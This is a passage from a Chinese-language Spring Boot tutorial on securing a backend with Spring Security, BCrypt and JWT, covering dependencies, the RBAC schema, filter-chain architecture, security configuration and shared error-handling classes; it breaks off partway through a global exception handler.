【阶段 5】安全与认证:Spring Security 与 JWT

86次阅读
没有评论

1. 导语

前面几个阶段,你已经能把请求从 Controller
一路打到数据库,返回一个结构清晰的 ApiResult
了。但如果你此刻把项目部署到公网,会发现一个致命问题:任何人都能调用你的接口。不需要登录就能改数据、删数据、看别人的订单——这在生产环境是不可接受的。

安全不是「功能做完之后再加的补丁」,而是和业务逻辑同等重要的一等公民。本阶段你要学的是
Spring Boot 后端安全的两大支柱:

  1. 认证(Authentication)——回答「你是谁」。登录、密码校验、会话/令牌,都属于这一层。
  2. 授权(Authorization)——回答「你能干什么」。即使你登录了,也不代表你能删除任何人的订单。

学完本阶段,你将能够:

  • 搭起一套完整的 Spring Security
    过滤器链
    ,理解请求进入系统后经历了哪些关卡;
  • BCrypt
    安全地存储密码,实现「用户名或密码错误」的统一提示防撞库;
  • JWT
    实现无状态认证,讲清它的三段结构、签名防篡改、密钥外部化、以及「登出黑名单」;
  • RBAC 模型做方法级授权,用
    @PreAuthorize 拦截越权访问(IDOR)
  • 接入 OAuth2 / GitHub 第三方登录;
  • 防住 SQL 注入、XSS、CSRF、CORS 过宽、暴力破解
    这五类最常见的 Web 攻击。

本文是整套教程中「安全」主题的唯一一篇,前文所有业务接口(用户、订单)都将在本篇之后被加上安全防护。前置依赖是阶段
3(Web 开发,你要熟悉 Controller / Filter /
ApiResult)和阶段 4(数据访问,你要熟悉 MyBatis-Plus 和
#{} 占位符)。如果你已经忘了 ApiResult /
ErrorCode / BizException 的约定,先回看阶段 1
的对应章节再继续。


2. 学习目标与前置要求

学完本阶段,你能:

  1. 画出 Spring Security 的过滤器链执行顺序,说清
    SecurityContextAuthenticationAuthenticationManager
    各自的职责。
  2. 独立实现「注册 + 数据库登录 + BCrypt
    密码校验」,并把登录失败提示统一为「用户名或密码错误」。
  3. 独立写出 JwtUtil(签发/解析)和
    JwtAuthFilter,把用户身份放进
    SecurityContext,并说清 JWT
    结构、签名防篡改、密钥外部化、黑名单登出四点。
  4. 设计用户-角色-权限三张表,用 @EnableMethodSecurity +
    @PreAuthorize 做方法级授权,并能用
    @PreAuthorize("#id == authentication.principal")
    防止水平越权(IDOR)
  5. 说出 OAuth2 四种授权模式的适用场景,并能接入 GitHub 登录。
  6. #{} 代替 ${} 防 SQL 注入,并解释 JWT
    前后端分离为什么天然免疫 CSRF。

前置依赖:阶段 3(Web 开发)、阶段
4(数据访问)。若尚未掌握 ApiResult /
ErrorCode / BizException /
GlobalExceptionHandler 的定义,或对 MyBatis-Plus 的
BaseMapper 不熟,建议先回看阶段 1、阶段 4 的对应章节。


3. 环境准备

本阶段需要的完整技术栈与版本如下(全文统一 Spring Boot 3.2.x / JDK
17):

组件 版本 用途
JDK 17 运行环境
Spring Boot 3.2.5 基础框架
spring-boot-starter-security 3.2.5 认证授权核心
spring-boot-starter-oauth2-client 3.2.5 第 5 章第三方登录
MyBatis-Plus 3.5.7(mybatis-plus-spring-boot3-starter 数据访问,演示 #{} vs ${}
MySQL 8.0 用户/角色/权限存储
Redis 6.x / 7.x 第 3 章 JWT 登出黑名单、第 6 章限流
jjwt 0.12.5 JWT 签发与解析
Lombok (Boot 托管) @Data / @Slf4j /
@RequiredArgsConstructor

3.1 依赖配置(pom.xml)

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <version>3.2.5</version>
        <relativePath/>
    </parent>

    <groupId>com.example</groupId>
    <artifactId>security-demo</artifactId>
    <version>0.0.1-SNAPSHOT</version>
    <name>security-demo</name>

    <properties>
        <java.version>17</java.version>
        <jjwt.version>0.12.5</jjwt.version>
        <mybatis-plus.version>3.5.7</mybatis-plus.version>
    </properties>

    <dependencies>
        <!-- Web:Controller / Filter 基础 -->
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>

        <!-- Security:认证授权核心 -->
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-security</artifactId>
        </dependency>

        <!-- OAuth2 客户端:第 5 章接入 GitHub -->
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-oauth2-client</artifactId>
        </dependency>

        <!-- 参数校验:@Valid / @NotBlank -->
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-validation</artifactId>
        </dependency>

        <!-- Redis:JWT 黑名单 + 登录限流 -->
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-data-redis</artifactId>
        </dependency>

        <!-- MyBatis-Plus(Spring Boot 3 专用 starter) -->
        <dependency>
            <groupId>com.baomidou</groupId>
            <artifactId>mybatis-plus-spring-boot3-starter</artifactId>
            <version>${mybatis-plus.version}</version>
        </dependency>

        <!-- MySQL 驱动(版本由 Boot 托管) -->
        <dependency>
            <groupId>com.mysql</groupId>
            <artifactId>mysql-connector-j</artifactId>
            <scope>runtime</scope>
        </dependency>

        <!-- JWT:API / 实现 / Jackson 序列化 -->
        <dependency>
            <groupId>io.jsonwebtoken</groupId>
            <artifactId>jjwt-api</artifactId>
            <version>${jjwt.version}</version>
        </dependency>
        <dependency>
            <groupId>io.jsonwebtoken</groupId>
            <artifactId>jjwt-impl</artifactId>
            <version>${jjwt.version}</version>
            <scope>runtime</scope>
        </dependency>
        <dependency>
            <groupId>io.jsonwebtoken</groupId>
            <artifactId>jjwt-jackson</artifactId>
            <version>${jjwt.version}</version>
            <scope>runtime</scope>
        </dependency>

        <!-- Lombok:@Data / @Slf4j / @RequiredArgsConstructor -->
        <dependency>
            <groupId>org.projectlombok</groupId>
            <artifactId>lombok</artifactId>
            <optional>true</optional>
        </dependency>

        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-test</artifactId>
            <scope>test</scope>
        </dependency>
        <dependency>
            <groupId>org.springframework.security</groupId>
            <artifactId>spring-security-test</artifactId>
            <scope>test</scope>
        </dependency>
    </dependencies>

    <build>
        <plugins>
            <plugin>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-maven-plugin</artifactId>
                <configuration>
                    <excludes>
                        <exclude>
                            <groupId>org.projectlombok</groupId>
                            <artifactId>lombok</artifactId>
                        </exclude>
                    </excludes>
                </configuration>
            </plugin>
        </plugins>
    </build>
</project>

3.2 数据库初始化(schema.sql)

-- 用户表:密码列只存 BCrypt 哈希,绝不存明文
CREATE TABLE sys_user (
    id          BIGINT       NOT NULL AUTO_INCREMENT COMMENT '主键',
    username    VARCHAR(64)  NOT NULL COMMENT '登录名,唯一',
    password    VARCHAR(100) NOT NULL COMMENT 'BCrypt 哈希,不是明文',
    nickname    VARCHAR(64)  DEFAULT NULL COMMENT '昵称',
    email       VARCHAR(128) DEFAULT NULL COMMENT '邮箱',
    status      TINYINT      NOT NULL DEFAULT 1 COMMENT '1=启用 0=禁用',
    created_at  DATETIME     NOT NULL DEFAULT CURRENT_TIMESTAMP,
    updated_at  DATETIME     NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
    PRIMARY KEY (id),
    UNIQUE KEY uk_username (username)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COMMENT='系统用户';

-- 角色表
CREATE TABLE sys_role (
    id          BIGINT      NOT NULL AUTO_INCREMENT,
    role_code   VARCHAR(64) NOT NULL COMMENT '角色编码,如 ADMIN / USER',
    role_name   VARCHAR(64) NOT NULL COMMENT '角色展示名',
    description VARCHAR(255) DEFAULT NULL,
    PRIMARY KEY (id),
    UNIQUE KEY uk_role_code (role_code)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COMMENT='角色';

-- 权限表:权限粒度比角色更细,如 user:delete
CREATE TABLE sys_permission (
    id          BIGINT      NOT NULL AUTO_INCREMENT,
    perm_code   VARCHAR(64) NOT NULL COMMENT '权限编码,如 user:delete',
    perm_name   VARCHAR(64) NOT NULL,
    description VARCHAR(255) DEFAULT NULL,
    PRIMARY KEY (id),
    UNIQUE KEY uk_perm_code (perm_code)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COMMENT='权限';

-- 用户-角色 关联表(多对多)
CREATE TABLE sys_user_role (
    user_id BIGINT NOT NULL,
    role_id BIGINT NOT NULL,
    PRIMARY KEY (user_id, role_id)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COMMENT='用户角色关联';

-- 角色-权限 关联表(多对多)
CREATE TABLE sys_role_permission (
    role_id       BIGINT NOT NULL,
    permission_id BIGINT NOT NULL,
    PRIMARY KEY (role_id, permission_id)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COMMENT='角色权限关联';

3.3 种子数据(data.sql)

-- 两个测试用户(密码都是明文 123456,BCrypt 哈希在代码里生成后替换)
INSERT INTO sys_user (username, password, nickname, status) VALUES
('admin', '$2a$10$REPLACE_WITH_BCRYPT', '管理员', 1),
('alice', '$2a$10$REPLACE_WITH_BCRYPT', '普通用户', 1);

INSERT INTO sys_role (role_code, role_name) VALUES ('ADMIN', '管理员'), ('USER', '普通用户');
INSERT INTO sys_permission (perm_code, perm_name) VALUES
('user:create', '新增用户'), ('user:update', '修改用户'), ('user:delete', '删除用户'), ('user:query', '查询用户');

-- admin 拥有 ADMIN 角色;alice 拥有 USER 角色
INSERT INTO sys_user_role (user_id, role_id) VALUES (1, 1), (2, 2);
-- ADMIN 角色拥有全部权限
INSERT INTO sys_role_permission (role_id, permission_id) VALUES
(1, 1), (1, 2), (1, 3), (1, 4);

3.4 配置文件(application.yml)

server:
  port: 8080

spring:
  datasource:
    url: jdbc:mysql://localhost:3306/security_demo?useUnicode=true&characterEncoding=utf8&serverTimezone=Asia/Shanghai
    username: ${DB_USERNAME:root}
    password: ${DB_PASSWORD:root}
    driver-class-name: com.mysql.cj.jdbc.Driver
  data:
    redis:
      host: ${REDIS_HOST:localhost}
      port: ${REDIS_PORT:6379}

mybatis-plus:
  mapper-locations: classpath:/mapper/*.xml   # XML 映射文件位置
  configuration:
    map-underscore-to-camel-case: true        # 下划线转驼峰
    log-impl: org.apache.ibatis.logging.stdout.StdOutImpl

# JWT 配置:密钥和过期时间都从环境变量注入,禁止硬编码进代码
jwt:
  # 生产环境务必通过环境变量 JWT_SECRET 覆盖;本地开发给个默认值方便跑通
  secret: ${JWT_SECRET:change-me-this-is-a-demo-secret-key-please-override-32bytes-min}
  # access token 有效期(秒),2 小时
  expire-seconds: 7200

注意${DB_USERNAME:root} 是 Spring
的「环境变量优先、缺省给默认值」写法,既能本地跑通,又保证生产环境敏感信息不落库到代码仓库。

3.5 项目目录结构

com.example.demo
├── DemoApplication.java
├── common
│   ├── ApiResult.java            # 统一响应体(与全系列一致)
│   └── ErrorCode.java            # 统一错误码(与全系列一致)
├── config
│   ├── SecurityConfig.java       # 过滤器链 + 密码编码器 + CORS
│   └── MybatisPlusConfig.java    # MyBatis-Plus 分页等插件(可选)
├── exception
│   ├── BizException.java         # 统一业务异常(与全系列一致)
│   └── GlobalExceptionHandler.java
├── entity
│   ├── SysUser.java
│   ├── SysRole.java
│   └── SysPermission.java
├── mapper
│   └── UserMapper.java           # 含自定义多表查询
├── service
│   ├── AuthService.java
│   ├── UserService.java
│   └── impl/...
├── controller
│   ├── AuthController.java       # 注册 / 登录 / 登出
│   └── UserController.java       # 受保护的资源接口
├── dto
│   ├── RegisterDTO.java
│   └── LoginDTO.java
├── vo
│   └── LoginVO.java
├── security
│   ├── LoginUser.java            # UserDetails 实现
│   ├── JwtUtil.java              # JWT 签发 / 解析
│   ├── JwtAuthFilter.java        # JWT 认证过滤器
│   ├── TokenBlacklistService.java# 登出黑名单
│   └── RestAuthenticationEntryPoint.java / RestAccessDeniedHandler.java
└── resources
    └── mapper/UserMapper.xml

第 1 章 Spring Security 架构

1.1
先建立心智模型:请求进入系统后发生了什么

在写任何代码之前,先理解 Spring Security
的「心脏」——过滤器链(Filter Chain)。Spring Security
本质上不是「在 Controller 里做判断」,而是在你的 Controller 之前,用一串
Servlet Filter 把请求拦截下来,逐个关卡检查。

一个 HTTP 请求到达你的 Spring Boot 应用后,会先经过 Spring Security
的过滤器链,再进入你的 Controller:

客户端请求
   │
   ▼
[SecurityFilterChain 过滤器链]
   │  1. 从请求里提取凭证(登录表单 / Authorization 头 / Cookie)
   │  2. 校验凭证 → 构造 Authentication 对象
   │  3. 把 Authentication 放进 SecurityContext
   │  4. 授权检查:这个 Authentication 有没有权限访问该接口?
   ▼
[DispatcherServlet → Controller]

这整条链由 SecurityFilterChain 组织。Spring Security
启动时会注册一个名为 springSecurityFilterChain
DelegatingFilterProxy,它把请求委托给内部的过滤器链。

1.2 四个核心对象

理解这四个对象,Spring Security 就懂了一半:

对象 职责 类比
SecurityContext 保存当前请求的认证信息 一个「暂存格」,请求结束后清空
Authentication 认证对象:Principal(你是谁)+ Credentials(凭证)+
Authorities(权限)
一张「工牌」
AuthenticationManager 认证管理器,实际委托给 AuthenticationProvider 门卫,负责核对工牌真伪
SecurityFilterChain 一串按序执行的过滤器 进门的一层层安检

关键点一:SecurityContext 默认用
ThreadLocal
存储(ThreadLocalSecurityContextHolderStrategy),所以每个线程(通常对应一个请求)有自己独立的
SecurityContext,互不串扰。你在 Controller 里任何时候调用
SecurityContextHolder.getContext().getAuthentication(),拿到的都是当前请求的认证信息。

关键点二:Authentication 里最重要的三个属性:

public interface Authentication extends Principal, Serializable {
    Collection<? extends GrantedAuthority> getAuthorities(); // 权限列表,如 ROLE_ADMIN
    Object getCredentials();   // 凭证:密码、Token,认证成功后通常置空
    Object getDetails();       // 附加信息:客户端 IP、SessionId 等
    Object getPrincipal();     // 主体:登录用户(可能是 UserDetails 或 userId)
    boolean isAuthenticated(); // 是否已认证
}

Principal 就是你「放进去的那个对象」——第 3
章你会看到,它可以是 UserDetails,也可以是
Long 类型的 userId,这决定了后面
@PreAuthorize("#id == authentication.principal")
的写法。

1.3 认证 vs
授权:先分清这两个概念

面试和日常沟通里最容易混淆的两个词:

  • 认证(Authentication):验证「你是谁」。登录时校验用户名密码,就是认证。
  • 授权(Authorization):验证「你能干什么」。登录成功后,检查你有没有权限删除用户,就是授权。

一句话记忆:先认证,后授权。未认证的请求会被拦在授权之前(返回
401),认证了但没权限的请求会返回 403。

// 认证失败 → 401(未登录 / 凭证错误)
// 认证成功但权限不足 → 403(无权限访问)

1.4 关键过滤器与执行顺序

Spring Security 6(Spring Boot 3.2.x
对应)里,一条典型链包含这些过滤器,顺序很重要(顺序错了会导致认证失效):

1. SecurityContextHolderFilter         ← 从已存在的 SecurityContext 恢复(或新建)
2. UsernamePasswordAuthenticationFilter ← 处理表单登录(默认 /login)
3. BasicAuthenticationFilter            ← 处理 HTTP Basic 认证(Authorization: Basic xxx)
4. ExceptionTranslationFilter          ← 捕获下游抛出的认证/授权异常,转成 401/403
5. AuthorizationFilter                  ← 授权检查:这个请求有没有权限

其中你最容易打交道的是这几个:

  • UsernamePasswordAuthenticationFilter:默认处理
    /login 的 POST 表单登录,读
    username/password 参数,调用
    AuthenticationManager 认证。
  • ExceptionTranslationFilter:它不自己做认证,而是「翻译异常」。当下游抛出
    AuthenticationException 时它调用
    AuthenticationEntryPoint(默认重定向到登录页,前后端分离项目通常改成返回
    401 JSON);抛出 AccessDeniedException 时调用
    AccessDeniedHandler(返回 403)。
  • AuthorizationFilter:读
    SecurityContext 里的 Authentication,配合你的
    authorizeHttpRequests 规则判断放行还是拒绝。

第 3 章我们会把自己的 JwtAuthFilter 插在
UsernamePasswordAuthenticationFilter
之前,因为 JWT
场景没有表单登录,需要在用户名密码过滤器之前就把 token 解析成
Authentication

1.5
最小可用:一条最简单的过滤器链 + 内存用户

先写一个「最小可用」的配置,把架构概念落到代码。目标:放行
/api/auth/**,其余接口全部要求认证,并用 HTTP Basic
快速验证。为了不依赖数据库,先用一个内存用户InMemoryUserDetailsManager)跑通整条链。

package com.example.demo.config;

import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.security.config.annotation.web.builders.HttpSecurity;
import org.springframework.security.core.userdetails.User;
import org.springframework.security.core.userdetails.UserDetails;
import org.springframework.security.core.userdetails.UserDetailsService;
import org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder;
import org.springframework.security.crypto.password.PasswordEncoder;
import org.springframework.security.provisioning.InMemoryUserDetailsManager;
import org.springframework.security.web.SecurityFilterChain;

/**
 * Spring Security 核心配置(最小可用版)。
 * 说明:这是入门版,仅演示过滤器链的组装方式,
 * 后续章节会逐步替换成数据库用户、JWT 过滤器、统一异常等。
 */
@Configuration
public class SecurityConfig {

    @Bean
    public PasswordEncoder passwordEncoder() {
        // BCrypt:加盐哈希,即使是内存用户也不存明文
        return new BCryptPasswordEncoder();
    }

    // 内存用户:生产环境会替换成数据库加载(第 2 章 UserDetailsService)
    @Bean
    public UserDetailsService userDetailsService(PasswordEncoder encoder) {
        UserDetails admin = User.withUsername("admin")
                .password(encoder.encode("123456"))   // 存哈希,不存明文
                .roles("ADMIN")                        // roles() 自动加 ROLE_ 前缀
                .build();
        // InMemoryUserDetailsManager 是 UserDetailsService 的内存实现
        return new InMemoryUserDetailsManager(admin);
    }

    @Bean
    public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
        http
            // 授权规则:按 URL 匹配,注意规则从上到下,先匹配先生效
            .authorizeHttpRequests(auth -> auth
                .requestMatchers("/api/auth/**").permitAll()   // 注册/登录放行
                .anyRequest().authenticated()                   // 其余全部要认证
            )
            // 开启 HTTP Basic:请求头 Authorization: Basic base64(user:pass)
            .httpBasic(basic -> {
            });
        return http.build();
    }
}

验证:

# 不带凭证访问 → 401(被 AuthorizationFilter 拦截)
curl -i http://localhost:8080/api/users

# 带凭证访问(-u 会自动生成 Basic 头)→ 200
curl -u admin:123456 http://localhost:8080/api/users

这条最小链上发生了什么?请求进来 →
SecurityContextHolderFilter 建好空的
SecurityContext → 没有表单参数、跳过
UsernamePasswordAuthenticationFilter
BasicAuthenticationFilter
Authorization: Basic 头解出用户名密码,交给
AuthenticationManager 认证 → 认证成功把
Authentication 放进 SecurityContext
AuthorizationFilter 检查放行 → 进入 Controller。这就是整个
Security 体系的「骨架」,后面所有章节都在这个骨架上添砖加瓦。

1.6
生产级:一个完整的过滤器链骨架

生产环境的前后端分离项目,过滤器链通常长这样(下面先给完整版,每个组件在第
2、3 章展开讲):

package com.example.demo.config;

import com.example.demo.security.JwtAuthFilter;
import com.example.demo.security.RestAccessDeniedHandler;
import com.example.demo.security.RestAuthenticationEntryPoint;
import lombok.RequiredArgsConstructor;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.security.config.annotation.method.configuration.EnableMethodSecurity;
import org.springframework.security.config.annotation.web.builders.HttpSecurity;
import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity;
import org.springframework.security.config.http.SessionCreationPolicy;
import org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder;
import org.springframework.security.crypto.password.PasswordEncoder;
import org.springframework.security.web.SecurityFilterChain;
import org.springframework.security.web.authentication.UsernamePasswordAuthenticationFilter;

/**
 * 生产级安全配置:JWT 无状态 + 方法级授权 + 统一 JSON 错误返回。
 */
@Configuration
@EnableWebSecurity
@EnableMethodSecurity          // 开启方法级授权(@PreAuthorize),第 4 章详解
@RequiredArgsConstructor       // 构造器注入,依赖不可变
public class SecurityConfig {

    private final JwtAuthFilter jwtAuthFilter;
    private final RestAuthenticationEntryPoint authenticationEntryPoint;
    private final RestAccessDeniedHandler accessDeniedHandler;

    @Bean
    public PasswordEncoder passwordEncoder() {
        // BCrypt:加盐哈希、不可逆、自带慢哈希防暴力破解(第 2 章详解)
        return new BCryptPasswordEncoder();
    }

    @Bean
    public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
        http
            // 前后端分离 + JWT 无状态,关闭 CSRF(第 6 章解释为什么是安全的)
            .csrf(csrf -> csrf.disable())
            // 无状态:不创建、不使用 HttpSession
            .sessionManagement(sm -> sm.sessionCreationPolicy(SessionCreationPolicy.STATELESS))
            // 授权规则
            .authorizeHttpRequests(auth -> auth
                .requestMatchers("/api/auth/**").permitAll()   // 注册/登录放行
                .requestMatchers("/error").permitAll()          // Spring 默认错误页放行
                .anyRequest().authenticated()                   // 其余都要认证
            )
            // 认证异常 → 401 JSON;授权异常 → 403 JSON(统一前端处理)
            .exceptionHandling(ex -> ex
                .authenticationEntryPoint(authenticationEntryPoint)
                .accessDeniedHandler(accessDeniedHandler)
            )
            // 关键:把 JWT 过滤器插在用户名密码过滤器之前
            .addFilterBefore(jwtAuthFilter, UsernamePasswordAuthenticationFilter.class);
        return http.build();
    }
}

关键点提示.addFilterBefore(jwtAuthFilter, UsernamePasswordAuthenticationFilter.class)
这句把我们的 JWT 过滤器放到用户名密码过滤器之前。因为 JWT
场景没有表单登录,我们必须在 Spring 默认的认证逻辑之前就把
Authorization: Bearer <token> 解析成
Authentication 放进
SecurityContext,否则后续的
AuthorizationFilter 看不到认证信息,会一律返回 401。

1.7
AuthenticationManager 的内部结构:ProviderManager 与
AuthenticationProvider

前面说 AuthenticationManager
是「门卫」,但门卫内部还有一套分工。AuthenticationManager
是个接口,最常见的实现是 ProviderManager,而
ProviderManager 又委托给一个或多个
AuthenticationProvider

AuthenticationManager (接口)
        └── ProviderManager (默认实现)
                ├── DaoAuthenticationProvider   ← 处理「用户名 + 密码」认证
                ├── JwtAuthenticationProvider  ← 自定义,处理 token 认证(可选)
                └── ... 其他 Provider
  • ProviderManager 遍历所有
    Provider,问「你能处理这个 Authentication
    吗?」(通过 supports()
    判断),找到能处理的就交给它,都处理不了就抛
    ProviderNotFoundException
  • DaoAuthenticationProvider 是 Spring
    Security 内置、最常用的 Provider,专门处理「用户名 +
    密码」。它的工作流程正是第 2 章要做的:
1. 拿 username 调 UserDetailsService.loadUserByUsername() 加载用户
2. 拿 passwordEncoder.matches(输入密码, 存储的哈希) 比对密码
3. 成功 → 返回已认证的 Authentication(principal = UserDetails)
4. 失败 → 抛 BadCredentialsException(密码错)或 UsernameNotFoundException(用户不存在)

理解这条链路,你就明白了为什么实现认证只需要两步:提供一个
UserDetailsService(怎么查用户)+ 提供一个
PasswordEncoder(怎么比密码)
DaoAuthenticationProvider
会自动把两者串起来。

1.8
SecurityContext 的 ThreadLocal 传播与清理

SecurityContextHolder 默认用 ThreadLocal
SecurityContext,策略是
MODE_THREADLOCAL。这意味着:

  1. **每个线程(每个请求)**有自己的
    SecurityContext,天然线程隔离,多用户并发不会串号。
  2. 你在同一请求的任意位置(Controller、Service、Mapper)调
    SecurityContextHolder.getContext().getAuthentication(),拿到的都是当前请求的身份。

ThreadLocal
有个必须注意的坑:如果请求处理完不清理,而容器(如
Tomcat)复用了线程处理下一个请求,下一个请求可能「继承」上一个请求的认证信息——这是严重的安全漏洞(串号)。

Spring Security 的 SecurityContextHolderFilter
在请求结束时会自动
SecurityContextHolder.clearContext() 清理
ThreadLocal,所以正常走过滤器链时无需你手动清理。但有两个例外要注意:

// 1. 你自己 new 了线程(异步任务),ThreadLocal 不会自动传递
new Thread(() -> {
    // 这里拿不到主线程的 SecurityContext!需要手动传递
    SecurityContext context = SecurityContextHolder.getContext(); // 空
}).start();

// 2. 异步场景可用 DelegatingSecurityContextExecutor 或显式传递
//    或在 @Async 方法里用 SecurityContextHolder.getContext() 前先手动 set

关键点提示:Spring Security 6 里
SecurityContextHolderFilter 负责「请求开始恢复 /
请求结束清理」SecurityContext,这是它被放在过滤器链第一位的原因。理解
ThreadLocal
的传播与清理,能帮你排查「多用户串号」「异步任务拿不到登录用户」这两类疑难杂症。

本章小结

Spring Security
的核心是一条过滤器链:请求先被一系列过滤器拦截,完成「提取凭证
→ 认证 → 存进 SecurityContext → 授权」四步,才进入
Controller。记住四个对象(SecurityContext /
Authentication / AuthenticationManager /
SecurityFilterChain)和「先认证后授权」的口诀,后面所有内容都建立在这个骨架上。


第 2 章 认证实战(数据库 +
BCrypt)

2.1
认证的本质:一张「用户名 → 密码哈希」的对照表

认证(Authentication)要做的事很简单:用户提交用户名和密码,你判断这对组合是否正确。正确就发凭证(下一章是
JWT,这一章先讲密码校验本身),错误就拒绝。

生产环境里,这张对照表存在数据库的 sys_user
表里。但有一个铁律:密码列存的是 BCrypt
哈希,绝不存明文

为什么要哈希?因为数据库可能被拖库(SQL
注入、备份泄露、内鬼导出)。如果存明文,攻击者拿到表就等于拿到了所有用户的密码——而用户常常在多个网站复用同一个密码,等于连锁泄露。哈希是单向的,即使拖库,攻击者也拿不到原始密码,只能暴力碰撞。

2.2 为什么是 BCrypt
而不是 MD5 / SHA-256

面试高频题:「BCrypt 为什么比 MD5 安全?」答案有四点:

  1. 加盐(Salt):BCrypt
    每次哈希都会生成一个随机盐混入密码,同一个密码两次哈希结果不同,攻击者无法用「彩虹表」(预先算好的哈希字典)批量反查。
  2. 慢哈希:BCrypt 故意设计得很慢(可通过
    strength
    参数控制迭代次数),暴力破解时每尝试一次都要付出高成本。MD5/SHA
    是「快哈希」,一秒钟能算几十亿次,天生不适合存密码。
  3. 不可逆:哈希是单向函数,无法从哈希反推明文。
  4. 自适应:随着硬件变强,可以通过提高 cost factor
    让哈希更慢,抵御算力增长。
// 最小可用:看懂 BCrypt 的两个核心方法
PasswordEncoder encoder = new BCryptPasswordEncoder();

// 编码:同一个明文,每次结果都不同(因为盐不同)
String h1 = encoder.encode("123456"); // $2a$10$Nk7...每次不同
String h2 = encoder.encode("123456"); // $2a$10$Ab3...和 h1 不同

// 校验:matches(明文, 哈希) 判断是否匹配
boolean ok = encoder.matches("123456", h1);   // true
boolean bad = encoder.matches("654321", h1);  // false

注意看:h1h2 虽然都来自
"123456",但字符串完全不同——这正是盐的作用。校验时只能靠
matches,不能靠字符串比较。

2.3 统一公共类:先打好地基

开始写登录功能前,先落地全系列统一的公共类。这些类见阶段
1,这里逐字复用,不得改名。

2.3.1 统一响应体 ApiResult

import lombok.Data;
import org.slf4j.MDC;

@Data
public class ApiResult<T> {
    private int code;        // 0=成功,非 0=错误码
    private String message;  // 提示信息
    private T data;          // 业务数据
    private String traceId;  // 链路追踪 id

    public static <T> ApiResult<T> ok(T data) {
        ApiResult<T> r = new ApiResult<>();
        r.setCode(ErrorCode.SUCCESS.getCode());
        r.setMessage(ErrorCode.SUCCESS.getMessage());
        r.setData(data);
        r.setTraceId(MDC.get("traceId"));
        return r;
    }
    public static <T> ApiResult<T> ok() {
        return ok(null);
    }
    public static <T> ApiResult<T> fail(int code, String message) {
        ApiResult<T> r = new ApiResult<>();
        r.setCode(code);
        r.setMessage(message);
        r.setTraceId(MDC.get("traceId"));
        return r;
    }
    public static <T> ApiResult<T> fail(ErrorCode ec) {
        return fail(ec.getCode(), ec.getMessage());
    }
}

2.3.2 统一错误码 ErrorCode

package com.example.demo.common;

/**
 * 统一错误码枚举。基础码必须与全系列保持一致,
 * 本篇按安全场景扩展 TOKEN_EXPIRED / TOKEN_INVALID / LOGIN_ERROR
 */
public enum ErrorCode {
    SUCCESS(0, "success"),
    PARAM_ERROR(40001, "参数错误"),
    UNAUTHORIZED(40101, "未登录或登录已过期"),
    TOKEN_EXPIRED(40102, "登录已过期,请重新登录"),
    TOKEN_INVALID(40103, "无效的令牌"),
    LOGIN_ERROR(40104, "用户名或密码错误"),
    FORBIDDEN(40301, "无权限访问"),
    USER_NOT_FOUND(40401, "用户不存在"),
    SYSTEM_ERROR(50000, "系统繁忙,请稍后重试");

    private final int code;
    private final String message;

    ErrorCode(int code, String message) {
        this.code = code;
        this.message = message;
    }

    public int getCode() {
        return code;
    }

    public String getMessage() {
        return message;
    }
}

注意LOGIN_ERROR
的消息是「用户名或密码错误」,刻意不区分「用户名不存在」和「密码错误」。这是防撞库的关键,2.7
节展开讲。

2.3.3 统一业务异常
BizException

package com.example.demo.exception;

import com.example.demo.common.ErrorCode;

/**
 * 统一业务异常:业务代码主动抛出,由全局异常处理器统一转成 ApiResult
 */
public class BizException extends RuntimeException {
    private final int code;

    public BizException(ErrorCode ec) {
        super(ec.getMessage());
        this.code = ec.getCode();
    }

    public BizException(int code, String message) {
        super(message);
        this.code = code;
    }

    public int getCode() {
        return code;
    }
}

2.3.4 全局异常处理器
GlobalExceptionHandler

package com.example.demo.exception;

import com.example.demo.common.ApiResult;
import com.example.demo.common.ErrorCode;
import lombok.extern.slf4j.Slf4j;
import org.springframework.security.access.AccessDeniedException;
import org.springframework.web.bind.MethodArgumentNotValidException;
import org.springframework.web.bind.annotation.ExceptionHandler;
import org.springframework.web.bind.annotation.RestControllerAdvice;

/**
 * 全局异常处理器:把各种异常统一转成 ApiResult
 * 兜底异常对外只返回模糊提示,详细堆栈只进日志(防止泄露内部实现细节)。
 */
@Slf4j
@RestControllerAdvice
public class GlobalExceptionHandler {

    // 业务异常:直接透出错误码与提示
    @ExceptionHandler(BizException.class)
    public ApiResult<Void> handleBiz(BizException e) {
        log.warn("业务异常: code={}, message={}", e.getCode(), e.getMessage());
        return ApiResult.fail(e.getCode(), e.getMessage());
    }

    // 参数校验异常(@Valid 触发):提示第一条校验错误
    @ExceptionHandler(MethodArgumentNotValidException.class)
    public ApiResult<Void> handleValid(MethodArgumentNotValidException e) {
        String msg = e.getBindingResult().getFieldErrors().stream()
                .findFirst()
                .map(f -> f.getField() + " " + f.getDefaultMessage())
                .orElse(ErrorCode.PARAM_ERROR.getMessage());
